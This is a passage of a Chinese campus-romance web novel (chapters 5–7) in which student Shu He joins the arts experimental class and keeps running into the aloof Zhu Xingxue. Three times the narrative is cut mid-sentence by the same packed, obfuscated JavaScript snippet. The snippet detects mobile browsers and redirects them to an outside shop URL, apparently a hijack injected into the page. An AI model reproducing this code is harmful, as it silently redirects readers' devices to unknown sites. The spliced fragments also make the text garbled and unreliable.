她俩在高一时是同桌,任姝宁是典型的玩乐学习两不误的学霸,且每科均衡发展,虽然对比之下语文稍显逊色,不过下学期分进实验班也是板上钉钉的事。 而舒禾又恰好在语文成绩上尤为突出,单科成绩几乎次次年级前五,两人性格也十分互补,一个大大咧咧,一个安静内敛,总之一来二去,两人很快就玩到了一起。 任姝宁平息了半天,才终于把帅哥抛之脑后,想起自己来的目的。 “快快快,给我讲讲,怎么突然选了文科,之前不都还给我说你要学理了吗?” 看帅哥只图一时的快乐,好姐妹才是永远的依靠,任姝宁对此深以为然。 舒禾放下手里的笔,早有做准备,此时斟酌着字句,慢慢和她解释:“你知道我一直很喜欢看书,自己也会在本子上记录一些平时的见闻、或者感慨。” “去年冬天的时候,我遇到了一个记忆深刻的事情,然后尝试写了一篇散文,发表在了杂志上。” 任姝宁点点头,这件事她有听说过。 “就在期末填分班表的前一晚,编辑联系我了,她说这篇文可以尝试上报蓉城青少年文学奖项。”舒禾有些迟疑地顿了顿,继续道:“她觉得获奖概率挺大。” “我的天!”任姝宁睁大眼惊喜道:“舒禾你怎么这么厉害!” 舒禾轻轻摇了摇头:“但是获奖的前提条件是,必须得是出版作品,所以后面还有很多繁杂的出版流程要走,编辑已经在帮我跟进了,不知道能不能赶在评奖之前。” 当然,就算赶上了也不一定能获奖,毕竟蓉城人才济济,她也不过还是一株雨中飘摇的禾苗而已。 因为热爱文学,又或许上天恰好赐予了她一点天赋。 当她站在人生的分岔路口时,第一次鼓起勇气,选择了和妈妈背道而驰的路线。 “就算是这样,你也特别厉害了呀!你才16岁诶,就能有自己的出版书了!”任姝宁听到这个消息感觉比她还要兴奋。 舒禾看着她笑了笑。 心中却怅然。 不知道妈妈得知后会是什么反应。 暴怒?不顾一切地把她圈回所谓的“安全区”中,成为社会长河里一株随波逐流的禾苗?还是,会选择成全…… 她不确定,但是她想尝试着掌控一次自己的人生。 舒禾初初萌生的想法愈发坚定。 书店里,两个女孩挨在一起排排坐,窝在这处无人打扰的角落谈天说地。 - 舒禾依旧每天去书店学习,任姝宁为了偶遇帅哥也跟着来了好几天,结果一直没再遇上,她哀叹不已就此罢工。 时间一晃而过,很快就到了八月中旬,开学的前一天,陈燕梅罕见的没有出去打牌,在家监督舒禾整理新学期学习用品,因为离家近,她没有住校,所以用不着收拾生活用品。 到了晚上,陈燕梅让舒远山提前关了店下班,一家三口难得去看了场电影。 她说这是个励志教育片,看完说不定对人生又有新的感悟,让两人专心,结果电影刚开场十分钟,她自己头一歪就睡着了,留舒禾两人安安静静看完全程。 新学期报道时间是周日下午,舒禾本来和任姝宁约好一起到校,结果中午的时候突然收到周老师消息,让她到校后先去她办公室一趟。 周兰芝是她高一语文老师兼班主任,当初她将散文发表到杂志上,也是听从了周老师的建议。 舒禾不知道是不是杂志社那边出了什么问题,心里涌起忐忑,思来想去,还是准备自己先提前到校,便在手机上和任姝宁解释了一番。 附中从大门进去是一条笔直的道路,两侧挺立着葱茏高大的银杏树,绿树浓荫,此时已有三三两两的学生穿梭其中。 舒禾怀着一路的疑虑,敲响办公室大门。 “请进。” 她轻轻推门,办公室里还有其他老师在忙碌,她轻手轻脚地走到周兰芝桌位面前:“周老师好。” 周兰芝笑了笑:“暑假过得怎么样?” 她表情很是放松,应该不是什么坏事,舒禾微微放下心,道:“挺好的。” 周兰芝点点头:“我找你来,是为了分班的事。” 舒禾不禁心又提起来。 “你上学期期末语文考了143分,是年级第一,很棒。”周兰芝称赞道:“后来杂志社那边的编辑也和我说,你的散文很有获奖的潜力。” “我很看好你,所以和校领导提议,给实验班新增一个名额,将你分到实验班。” 这可是以往从未有过的特例。 话音一落,舒禾惊讶得睁大了眼。 周兰芝解释道:“今天这个提议才审批通过,所以之前没有和你说。” 她顿了顿,接着说:“不过,这件事有好有坏,实验班都是基础好的学生,进度很紧,压力也会比较大,所以我还要再征询你的意见。” 她的数学和英语是个问题。 如果跟不上实验班进度,差距只会越来越大,到时候反而得不偿失。 但意外的,舒禾只在最开始沉默了片刻,几乎没怎么犹豫:“周老师,我想去实验班。” 周兰芝失笑:“不再考虑一下吗?或者和你父母商量商量?” 舒禾摇摇头。 “好。”周兰芝眼露赞赏,“那你先回去休息吧,或者准备一下,今明两天都有考试。” 虽然早就知道会有开学考,但舒禾还是免不了一阵紧张:“好。” “别担心,相信自己。哦,对了。” 周兰芝弯着眼看她,“我也是你们文科实验班的班主任。” 舒禾恍惚地从办公室出来,胸口砰砰砰地鼓动着。 分到实验班是她想都没想过的事情。 而且她的新班主任还是她最喜欢的周老师。 她赶紧拿出手机,和任姝宁说了这个好消息,再从书包掏出保温杯,一面喝茶水压惊,一面去往教室。 附中分设了高中部和国际部,高中部也称作学部,是和国际部面对面的两栋楼。 贺行雪坐在国际部门口的台阶上横着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888985|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机打游戏,程敬宇也在旁边激烈奋战,时不时抬头看一眼。 这个点到校的人越来越多,对面教学楼门口立着几块告示栏,正乌泱泱围着一堆人看分班表。 “操,都几点了,还不来。”程敬宇忿忿道。 贺行雪懒散歪靠在墙边,低头专注游戏,没说话。 这半个月他还是一阵一阵失眠,靠着吃药勉强入睡,总算是把作息调回来了。 对面就是学部大楼,人流众多,和国际部这边截然相反的热闹。 学生们聚在一起,免不得高谈阔论自己的暑期生活,什么“旅游”“演唱会”“游戏”啊等等这些词源源不断。 时不时有人路过,然后压低声音兴奋地说:“诶,你快看那边坐着的两个人!那个男生好帅啊我天!” “卧槽,真的好帅,国际部真的好多帅哥美女!” “旁边那个是程敬宇吗?那这个帅哥应该是刚转来高二的吧,怪不得我都没印象。” 一个男生摸着自己长度未达两指宽的头发,艳羡道:“为什么他们不用剪头发啊,好爽。” “别人一年六位数的学费啊,总得有些优待吧。” 另一个女生呜呜说:“我更羡慕他们可以带手机。” 明里暗里的许多道目光扫过来,程敬宇再大条也受不住了,退出游戏,一边给人发消息一边念叨:“妈的这傻逼还说五分钟到,咱俩都搁这当猴子被围观半小时了!” 贺行雪在一旁轻轻地说:“你确定是‘咱俩’吗。” 大多数的目光和议论中心都聚焦在他身上。 程敬宇不可置信地看向他。 紧接着勃然大怒、据理力争:“那我怎么说也是猴子旁边的香蕉吧!” 陪衬的命也是命啊! 贺行雪懒懒啧笑了声:“行,那就赐你个美人蕉的封号吧。” 程敬宇:“神他妈美人蕉!” 文科实验班每届都是固定的九班,倒免去了一通拥挤。 舒禾捧着保温杯准备进教学楼的时候,就恰好听到这声熟悉的怒吼。 她愣愣地抬头望过去。 对面台阶上男生长腿微屈着,阳光斜斜地照射过来,蓬松洒金的碎发搭在他额头,正垂眸懒洋洋歪倚着玩手机。 周围许多路过的人都在兴奋压低声音说“好帅”。 舒禾眼睛缓缓睁圆了。 怎么,在学校里还能遇见他们! 她被惊呆在路中间的时候,没注意身后一个急匆匆的身影冲过来。 那身影左绕右绕地避着人流,看见前方国际部坐着的两人,奋力加快了速度。 “我来了我来了!校门口实在太堵了!”喊声终于引来了那两人的视线。 结果刚喊完,他一个没注意,闷头撞到了前面女生的身上。 舒禾被撞得踉跄了两下,还没盖上的保温杯脱手而出,猛地摔在地上。 里面的茶水溅了一地。 枸杞和茶叶浮在上面飘啊飘。 而这个金黄色荷包蛋保温杯还在骨碌碌向前滚动。 舒禾还没反应过来,眼睁睁看着。 撞人的男生愣在原地看着。 贺行雪和程敬宇也意外看着。 周围的人群三三两两侧头过来,看着这场突发事件。 荷包蛋保温杯一路顺畅无比毫无障碍滚动着,轻微“砰”的一声。 一头撞在国际部门口台阶边。 贺行雪低头看着脚边,那个图案熟悉的幼稚保温杯,再略掀眼皮,扫了眼地上老干部风的枸杞茶叶,最后视线缓缓移向那边傻眼的女孩。 看不出来,荷包蛋还挺会养生的。 5. 第 5 章 舒禾在原地愣了好几秒,随后察觉到四周的视线,脸颊后知后觉烧了起来。 她望向对面门口懒散歪坐的男生,男生也慢悠悠看了过来。 那眼神很淡定,几分漫不经心,看得舒禾莫名其妙心脏发紧,有些踌躇,不好意思当着周围这么多目光上前。 幸亏身旁撞人的男生反应过来,一边苦着脸道歉一边跑过去给她拿杯子,做清洁的阿姨很快赶来将地打扫干净。 这一动就像是打破了平静的画卷,周围同学又稀稀拉拉地散开,就算偶有目光扫来也不张扬。 程敬宇倒是兴致高昂地把杯子捞起来:“我去,咱真和纸巾侠一个学校啊。” 贺行雪不置可否。 “啧啧,不愧是纸巾侠,品味够独特的。”他嘻嘻哈哈地把杯子递给跑过来的眼镜男生,又猛地一拍他肩膀:“让我们苦等半小时了啊老秦,这怎么算?” 秦嘉文接过杯子一边检查一边对他说:“请吃饭,请吃饭行了吧。” “操,咱俩住校又出不去校门,食堂能吃些什么?” “你就吃个鸡腿得了。”秦嘉文低头敷衍一句,转动杯身的时候发现了好多磨损和划痕,他有点心虚地摸了下鼻子,抬头对保温杯主人说:“不好意思啊同学,好多地方磨掉漆了,我再赔你一个吧,你是哪个班的?” 舒禾走过来,放眼看了看,只是有几个地方掉漆而已,便对他摇了摇头:“没关系,能用就行,给我吧。” 程敬宇打岔道:“宰他一顿啊纸巾侠!这小子赚了钱给我炫耀了一个暑假,结果一个鸡腿给我打发了,太他妈不厚道了。” 贺行雪闲闲地说了句:“再惦记吃你都快成鸡腿了。” “大帅哥,大少爷,我的猴王,别再戳你家美人蕉的心窝子了啊。”程敬宇快给他跪下了。 “滚蛋。” 贺行雪被这个称呼油腻到,有点嫌弃地起身,企图离他远点。 他一起身,和舒禾的距离瞬时拉近了。 男生很高,舒禾目测自己大概只到他肩膀,他身上那股淡淡的苦橙香气扩散开来,酸涩中混着丝柏味道,不过分浓烈,清淡好闻。 她不知怎么下意识多呼吸了一下。 雪松的冷冽和花香的甜腻,被柑橘味调和,不单单好闻,舒禾甚至觉得还带有些许舒缓心神的作用,感觉自己像是一叶飘荡在海面的扁舟,无忧无虑自在悠闲。 好独特,这是沐浴露的味道?还是洗衣液? 舒禾抬头的时候,正对上男生欲言又止的表情,那眼神透着说不出的复杂。 舒禾:“……” 他看到了吗? 他不会正好瞧见她闻味道了吧…… 那岂不是显得她跟个痴汉一样? 天啊。 她乍然窘迫,别过头去不敢对视,嗫嚅着对秦嘉文说:“同学,你把杯子给我吧。” 她想赶紧逃离现场。 “真的很不好意思。”秦嘉文递给她,看到遍体鳞伤的保温杯,有点愧疚不安:“真的不用赔你一个吗?” 她摇摇头,拿到杯子忙不迭往教室跑了。 耳根在白皙皮肤上显得特别红。 程敬宇惊啧,转头对秦嘉文说:“哎,她不会对你有点意思吧老秦?这耳朵红得跟什么似的。” 秦嘉文:“啊?没有吧?” 秦嘉文爸妈都是研究历史的老学究,受大人的熏陶,他在这方面特别迟钝。 他想起什么,从书包里翻出一个黑色手提包:“对了阿雪,东西给你带来了。” “谢了。” 贺行雪看看他,不由回忆起刚才那副画面。 女生垂着头,浓密的睫毛软软搭下来,鼻尖微微耸动着,那模样特别像只寻觅粮食的小松鼠。 他觉得程敬宇好像搞错了对象。 - 舒禾觉得自己这辈子都不想再遇到那三个人了。 但好像屋漏偏逢连夜雨,她正在教室里和许久未见的任姝宁互诉衷肠的时候,门口走进来一个男生。 两人碰面都愣了愣。 秦嘉文:“诶你也是九班的!” 舒禾点头:“嗯。” “我叫秦嘉文,你叫什么名字?” “舒禾。” “舒禾同学,今天真是很抱歉啊。” “没关系,当时人多碰撞很正常。” 秦嘉文有点不知如何接话了,他本来也不是健谈的类型,比起和人找话聊,他宁愿多做几张历史卷。 男生最后对她们笑笑,找了个不远不近的位置坐下。 “秦嘉文,这不是我们年级第一的名字吗?”在他走远后,任姝宁小声道。 舒禾:“啊?” “你没看嘛,就教学楼门口那个告示栏啊,贴着年级前十的成绩单,第一个就是他的名字。” 当时人太多,且后面发生那么尴尬的事,舒禾确实没去看,好奇问:“他三门主科多少分啊?” “数学146,语文138,英语142。”任姝宁记忆深刻。 这么厉害,舒禾感叹。 “对了。”比起成绩,任姝宁显然对别的更兴奋:“你看论坛了吗?就那天在书店我和你说的那个帅哥,他竟然是我们学校的!今天还被好多人拍到了!” 舒禾:…… 论坛没看,但是看到真人了。 任姝宁显然误解了她的沉默,兴致高昂地点开论坛和她分享:“你看这张侧颜,人怎么可以长得这么牛逼啊呜呜呜,随手一拍就跟明星写真似的!” 照片上男生散漫撑着下巴,五官线条深刻冷锐,眼皮窄长而薄,意兴阑珊地半垂着,浑身一副对周遭不感兴趣的模样,很有几分颓冷的气质。 舒禾目光上移,看到发帖人的文案: 求大佬帮我ps掉旁边那个人,想用来做屏保,感恩! 就,莫名有点想笑。 晚饭后同学们陆陆续续来到新班级,有男生夹着篮球携着一身汗臭进来,也有个戴眼镜女生看书走路被门槛拌了一个趔趄,最后还有几个相谈甚欢的同学一起进来,显然是早就认识的。 晚饭后人就差不多到齐了,想起马上就要考试,舒禾便起身去接了杯水。 饮水机在教室最前方,此刻前排的几个女生趁着还没收手机,还在看论坛进行最后的狂欢。 “妍妍,你朋友真认识他呀?” “肯定啊,我朋友就是国际部的,他们一个年级就一个班,都是同学,而且我朋友长得漂亮学习也很好,不是那种花钱混日子的,没准儿他们关系还不错。” “哇,真的狠狠羡慕了呜呜……” 纯净水汩汩流动而下。 好像有很多人喜欢他。 舒禾默默地想。 不过也正常,耀眼的人走到哪里都能大放异彩。 接完水,她想起这还是一个“身残志坚”的保温杯,于是尝试着倒置了两秒,试试是否漏水。 却见盖沿很快溢出水圈,聚成一滴,啪嗒滴落在地。 还真摔坏了。 舒禾愣了愣。 她思忖着今晚回家在校门口买个新的,反正用这么久也确实该换了。这样想着,舒禾转过身准备回座位,却正正对上秦嘉文沮丧的视线。 此刻的年级第一望着她“残缺”的水杯,脸上满是懊悔和愧意。 ……舒禾只能安慰似的对他笑了笑。 秦嘉文惭愧地垂下眼。 其实晚饭时他去了趟小卖部,本来准备买个新杯子,但不知是否因为刚开学,货架有一半都是空的,问了老板娘才得知暂时没有杯子卖,只得作罢。 现在看到女生善解人意的笑容,秦嘉文更是愧疚难当,但他又出不去校门,想来想去,只能拿出手机给贺行雪发消息。 只得拜托一下多年未见的兄弟了。 他总不能让女生这几天都用个漏水的杯子吧。 铃声很快打响,周兰芝抱着一摞试卷走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888986|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进教室,自我介绍道:“同学们好,我叫周兰芝,是你们今后两年的语文老师兼班主任。” 她转身在黑板上写下名字,没有冗长的发言措辞,让大家上交完手机,便匆匆开始了新学期第一场考试。 附中有三节晚自习,今天前两节用来开学小测,科目是语文和数学,剩下的几门放到明天考,考完出成绩后再调座位。 发放试卷后,舒禾习惯性先浏览全卷,忐忑又庆幸地发现,竟有好几道题是高二的内容,这才是开学第一天,还好暑假有预习,不然恐怕连及格都难。 虽然肯定是班级倒一,可她也属实不想和别人差距拉到令人侧目的地步。 饶是如此,考数学的时候她也解得有些艰难,剩了最后一道大题写不出来。 走读生一般只上前两节晚自习,舒禾起身的时候,教室里安静得只闻翻页声,休息时亢奋唠嗑的同学们都已经在开始预习新内容,他们对于新学期适应得极快,且都十分自觉,压根不用人督促。 这群智商高超又努力进取的人,就是她未来两年的同学,舒禾心里微叹,捏紧了书包带子,紧迫感愈发强烈。 走读来回路程很浪费时间,且回家缺少学习的氛围,不自觉想躺平,因而高中走读生少之又少,偏偏附中住宿环境优越,费用高昂,陈燕梅觉得没有必要,反正走路来回也就半小时,就只给她交了食堂餐费。 舒禾走到学校大门口时,只有寥寥几道身影,她出示走读证后,先去了学校门口最近的一家24h便利店,准备买个水杯。 便利店不算大,前面两排货架卖的是柴米油盐和零食泡面等等,第三排是男士和小孩的水杯,舒禾心事重重地沿着过道走,走到第四排女士用品区时,终于抬了抬眼,旋即整个人都被震在原地。 一个极其出乎意料的人。 与这里极其不适配的人。 舒禾竟下意识退了两步,随即又发觉自己行为不妥,呆了两秒,犹豫着走了回去。 便利店灯光昏黄,过道狭窄,男生穿着黑白色校服,宽松的轮廓更显得他清瘦高挑,兀自站在一排排造型可爱精致的水杯前,目光在上面睃巡着,似乎正在挑选。 他似有觉察,微微偏头,一双黑眸没什么情绪地看了过来。 视线相接的一刹,舒禾极力控制自己很想转身跑路的腿,瑟然望着冷冷淡淡的男生,她勉强露了个笑:“好、好巧呀。” 一点也不巧。 贺行雪想,若不是受人所托,他现在应该在家睡觉,而不是站在这里,对着一排排粗制滥造的杯子犯了选择困难症。 但他没说话,只不冷不热点了下头。 整个生人勿近的模样。 舒禾便懂了,他并不想搭理自己,站在这里大概是正在给女朋友挑选水杯吧,这样想着,她稍稍放松下来,强自镇定,扬眸打量起最近的一排货架来。 素色水杯、小猫图样的、碎花图样的……款式很多很多,可惜没有荷包蛋。 视线挨个扫过去,舒禾后颈莫名地慢慢溢出冷汗,总感觉如芒在背,浑身不自在,仿佛成了被人盯梢的猎物。 他不是给女朋友挑选水杯吗?怎么一点动静都没有? 安静得和尸体一样…… 舒禾有点毛骨悚然了,想到回家还要走一段路灯损坏的路,她便不想再在这里耗下去,速战速决地随手拿了个水杯,小黄鸭图案的。 前往收银台时,她步伐沉重,因为她发现,那个“死去已久的尸体”竟又意外活了过来。 且就亦步亦趋跟在自己身后。 舒禾没敢回头,心想他大概是受自己启发挑选到了满意的礼物吧……她轻轻颤着手将杯子放到收银台上。 “78元,我扫您。” 舒禾尽量忽视旁边那道颀长的身影,从手机里调出付款码,向收银员递过去。 哪想到,一只苍白清瘦的手比她速度更快。 “扫我的。” 男生的声音冷峻果断。 6. 第 6 章 舒禾懵了一瞬,抬头朝他望过去:“啊?” 贺行雪看了她一眼,没说话,手机付款码依旧朝向收银员。 眼见收银员抬起扫码机器,舒禾脑子还没反应过来,手在慌乱中竟下意识伸了出去,明晃晃按住他的手腕:“不、不行。” 他的皮肤不同于其他男生风吹日晒的粗糙,触感冰凉又细腻,她却犹如被烫到似的飞快收回了手,腮颊染绯,低头不看他,却固执将手机往前递了递。 贺行雪盯着方才被人碰过的手腕,眉心渐渐折出一道褶皱。 收银员姐姐已经见多识广地笑起来,干脆利落扫了男生的付款码,还以一副过来人的口吻调笑道: “可别替男人心疼钱啊妹妹!” 显然把他们当作了正在闹别扭的小情侣。 “啊,我们不、不是这样……” 舒禾脑袋卡住了,惊惶之下舌头像打了结,混乱中竟有些组织不出语言。 身旁的男生却一个字都懒得说,仿佛将尸体贯彻到底。 收银员姐姐笑得高深莫测:“你要说你们不是情侣对吧?没事我懂,我非常懂。” 不就是早恋嘛。 遥想当年,她也是万叶从中过…… 舒禾有点崩溃,大脑变得木讷讷的。 直到捧着新杯子站在便利店门口,微凉的夜风徐徐拂过,她乱成一锅粥的脑子被凉意一激,才渐缓清醒了些许。 思及下午的事,刚才卡死的脑袋一转,顿时明白了过来,原来是受了他朋友的嘱托。 舒禾看向前方三米之外的男生,默默做了做心理建设,鼓足勇气小声叫住他:“贺同学……” 贺行雪今日罕见在外面待了一天,精力和耐性已然耗费一空,只想赶紧回到自己的安全窝。 耳边好像有蚊子嗡嗡飞过,他烦躁伸手揉了下耳廓,急于回家的脚步未停。 “……” 舒禾深吸口气,提起声音再次喊道:“贺同学!” 贺行雪这次听见了,好像不是蚊子飞过,是那个荷包蛋的声音。 他顿了顿,没停,依旧往前走。 只是速度显而易见慢了下来。 舒禾赶紧小跑几步追上去,一口气跑到前方截住了他,不知是累的还是什么,脸颊憋得有点红。 贺行雪这才按耐着浑身不适停住,他微垂下眼皮,将面前女生上下打量了一番。 个子有点矮,眼睛黑润乌亮,皮肤莹白似雪,大概齐肩的头发在脑后扎成一个小啾,风中一颤一颤地晃。 脸颊一点婴儿肥,倒有几分荷包蛋圆润的样子。 “贺同学,这个水杯应该是秦嘉文拜托你买的吧?不好意思啊,我不能白白收下。”舒禾认真道,“我原来的杯子已经很老旧了,值不了那么多钱,不过,我现在也正好需要一个水杯,要不我把钱转你微信吧。” 她拿着手机打开扫码界面,眼神询问地望向男生。 贺行雪突然没头没尾问了句:“你怎么知道他叫秦嘉文?” “啊?”舒禾一愣,“我们在一个班啊……” “哦。”贺行雪慢吞吞地应。 男生之后便不再开口,也没有任何动作,就站在原地,双手随意抄在黑色校服裤里,侧眸冷冷淡淡盯着路边的树。 那棵树是成精了吗? 舒禾有点疑惑,“那,我微信把钱转你?” 话音甫落,很快,她收获了男生一道深奥难懂的视线。 这眼神里错综复杂地交织着各种情绪,像打结缠绕的毛线团,混沌难分。舒禾以谨慎的态度忖度了半晌,心绪百转千回,却依旧不解其中之意,于是就这么愣愣地望着他。 手臂都快举酸了,不明显地打着颤儿。 贺行雪遽然收回视线,不欲再多纠缠,直接绕过她往前走。 舒禾瞠目结舌,哪有这样不理人的?她急忙跟着追了两步:“诶,贺同学……” 他语气平直扔下一句:“有问题找秦嘉文去。” 男生走得很快,表明了不想搭理她,舒禾追了一段后慢慢停下脚步,站在原地无奈叹口气。 这个男生,脾气好像不太好呀。 见时间不早,只好先行回家。 身后脚步消失后,贺行雪速度便慢下来缓缓向前走着,夜里道路上空空荡荡没多少人,他没什么精神地耷拉着眉眼,走到了一根粗壮笔直的电线杆前,停下,回头望了一眼。 银杏拱卫的道路中,女生纤小的身影笼着一层月色,低头朝与他相反的方向迈步而行,没多一会儿,她脚步一转,拐入一条小巷,身影渐渐隐没入那方黑暗里,直至消失不见。 他索然地收回视线。 那个方向也能通往范兴文的书店,但这么晚自然不可能是去看书。贺行雪记得,那边似乎有一片老旧脏乱的居民区,他第一次路过的时候,简直被门口那股味臭到窒息,后来便敬而远之了,宁愿绕路也绝不再踏足一步。 月色清寂寥落,他在原地驻足须臾,片刻后,转身提步回家。 母亲去世后,贺行雪便回国住在了外公外婆家里,独自颓废了半年,两个老人内心难安却也不敢催促,生怕刺激到他,只能等待他在心理医生和药物的作用下慢慢好转。 贺行雪刷脸进入第一道院门,刚踏进花园里,走了两步,屋中大门咯吱一声随之敞开,露出外公外婆和容姨往外探看的脸。 三人看到身着校服神色倦怠的男生,俱露出熨贴的笑来。 “回来了啊小雪,今天感觉怎么样?”梁玉珍快步从屋里走出来,“老师好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888987|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好啊?同学们易不易相处?食堂吃得还习惯吗?心里有没有哪里不舒服的?” 梁玉珍一身剪裁极好的藏青长款旗袍摇曳,自从电视台退休后,她闲呆不住,几乎每日约着公园湖泊四处拍照,显然今晚也是从姐妹团里聚会回来。 一连串问题砸下来,贺行雪边走边统一回复:“还行,挺好的。” 得到这个答案,梁玉珍和范兴文相视而笑。 虽说他们并未急切地准备让他就此进入正常人的校园生活,之后大概率还是要脱产的,但踏出艰巨的第一步总令人喜不自胜。 贺行雪洗漱完躺到床上,分明身体已经极度疲惫,甚至由于心脏负荷过重后,胸口开始泛起闷窒恶心之感,但他阖着双目,却无论如何也酝酿不出睡意。 砰、砰、砰…… 重重的心悸声在万籁俱静的深夜清晰可闻。 贺行雪心里骂了声,爬起来吃了片曲唑酮,背靠回床上,拿起手机准备打把游戏。 在战场上极速收割人头,半小时很快过去,他好歹记得明天还要去学校,一把胜利后便退出游戏。 然而刚一熄屏,他伸长手臂,将手机放回床边柜的动作却仿佛卡带的机器,在空中滞了许久,接着,像是受到某种诡秘的指引一般,缓之又缓地收了回来。 然后鬼使神差地点开浏览器,荧光中白得病态的手指搜索着: ——“女生故意摸自己手腕是为什么?” 男生黑眸平静,等待屏幕缓缓跳出答案: 该动作有多种含义,我们可从几种可能性来分析: 1.只是单纯习惯性的动作。 2.缓解焦虑或紧张。 3.提醒或暗示时间来不及了。 4.表达不适或抗拒。 …… 总结建议:不要过度解读,这很可能只是一个习惯性的动作,需结合其他来判断。 目光从一行行无的放矢的分析上一掠而过,贺行雪脸庞被映得惨白,他情绪没什么变化,手指动了动,又加上几个字: ——“女生故意摸自己手腕,又向自己要微信是为什么?” 按下确认键后,屏幕跳出一大片文字,他直接划到了末尾,上面总结道: 恭喜你,这很可能是对方表达好感的方式,你吸引到了一个勇敢真诚的女生,请务必把握住这次机会! 贺行雪啪得一声彻底关掉手机,扯过被子躺下身,面无表情闭目静眠。 他对最后“务必把握住这次机会”几个字嗤之以鼻。 要把握机会的,怎么着也不可能是他。 贺行雪闭着眼想七想八,偌大的房间逐渐安静下来。 窗外夏风微燥,树叶沙沙。 不知何时,药物好像终于起了效。 7. 第 7 章 翌日一早连考三堂课后,高二年级的学生们哀嚎着停了笔。 九班也是同样,七嘴八舌地讨论着这次测练,舒禾前面那名男生瘫在椅背上,幽怨的像只游魂:“好多题超纲了啊老师……” 在讲台上整理试卷的周兰芝抱以神秘一笑,并不说话。 大课间铃声震荡,今日是开学典礼,走廊上人群拥挤,在好多道对答案的窃窃私语下,舒禾也忍不住看向身旁的任姝宁:“阿宁,你还记得英语最后五道选择题答案吗?” 最后五道选择很难,任姝宁也有两道题不确定,所以收卷时特地记了一下,准备考完找人对答案来着,她回忆道:“我想想啊……我选的是,CACCB,但是最后两道还不太确定。” 说完忍不住吐槽:“这次考得也太难了!” 舒禾先由衷赞同道:“真的很难……” 随后在心里默默对了对答案,她选的是CABBD,最后三道答案完全不同,舒禾心脏微微一崩,哭丧着脸说:“完蛋了,我最后三道好像全错了呜呜呜……” “不一定不一定。”任姝宁挽着舒禾跟随人流下楼时,眼神一晃,瞥见了落后几步、正站在她们侧上方楼梯上的人影。 拥挤的人潮中,那人头顶仿佛闪耀着智慧的光辉,差点儿亮瞎任姝宁的脸,她赶紧拉着舒禾避到一旁空旷地带,对他喊道:“秦嘉文!” 舒禾听到熟悉的名字,轻轻一怔,此时秦嘉文听到呼喊,低头看了过来。 他抬了抬脸上厚厚的镜框,朝她们走近:“怎么了?” 舒禾看见他就想起昨晚水杯的事,但现在大家都在前往操场,路上拥挤又吵闹,时机不太恰当,只好把这事往后推了推。 任姝宁以一种万分恳切的语气说:“小的求问学神,最后五道选择题你的答案是什么?” 她求知的眼神很是渴望。 舒禾:“……” 秦嘉文:“……” 这奇特的开场白实在把他惊住了,秦嘉文愣了一会儿,连连摆手:“别这么说……” 三人重新跟随人群往下走,秦嘉文平时没有对答案的习惯,仔细回忆了一下:“我只记得最后两道了,选的是DC。” 任姝宁顿时捂脸:“啊,我两道全错了……” 舒禾跟着心塞:“我错得更多……” 姐妹俩抱头痛哭:“呜呜呜……果然考完试还是不能对答案!!” 秦嘉文目瞪口呆,手足无措地看着她们。 不是,怎么回事,他此时该做点什么? 他从脑海里艰难搜刮着安慰人的话语。 两分钟后,这位英语次次接近满分的男生,开始了对他人的心灵疏导:“没事的,这次只是开学测试而已,后面还有很长一段学习时间。况且,我的答案其实也不一定都是对的……” 他有理有据疏导完,自觉多少有一点安慰效果,侧过头去,竟直直收到了两人谴责的目光。 秦嘉文:……? 他有点怀疑人生地闭上了嘴。 操场站位是高中部在前,国际部在后。说是在后,其实他们在高中部庞大的人群中,只占了一个十分偏僻的角落。 毕竟整个国际部也就只有七八十人,再抛掉一部分脱产不来学校的,他们稀散的队伍与学部一比,显得是那样的沧海一粟。 而好巧不巧,九班就站在这一粟的前面。 每班队伍按照身高排列,于是,舒禾便以光荣的“第二名”站到了队伍前方,与第十名的任姝宁分隔开。 舒禾默默站好,心中叹气。 唉,这要是成绩的第二名该多好。 典礼尚未开始,周围同学微微躁动,舒禾站在队伍前端比较显眼的位置,没敢乱动。 身后好几道喁喁私语飘过来:“哎,国际部好像就在我们后面,你看见那个帅哥了吗?” “我回头找了好一会儿了,没看见呀?” “我上次在教学楼门口见过他,那腿真的巨长!人应该超级高,排在队伍很后面了吧……” 舒禾很想关闭自己的听觉系统,实在是被狠狠打击到了。 她初一的时候一米六,比周围好多同学高一头,曾经信心满满以为自己会长到一米七,然后三年过去了,高一在医院体检量身高时,体检报告单上,赫然显示着那个精确到小数点后一位的震撼数字—— 160.5cm。 嗯,好,很不错。 顶着夏日酷暑,烈日炎炎,主持人终于上了台,身后嘀咕声逐渐消失,操场安静下来。 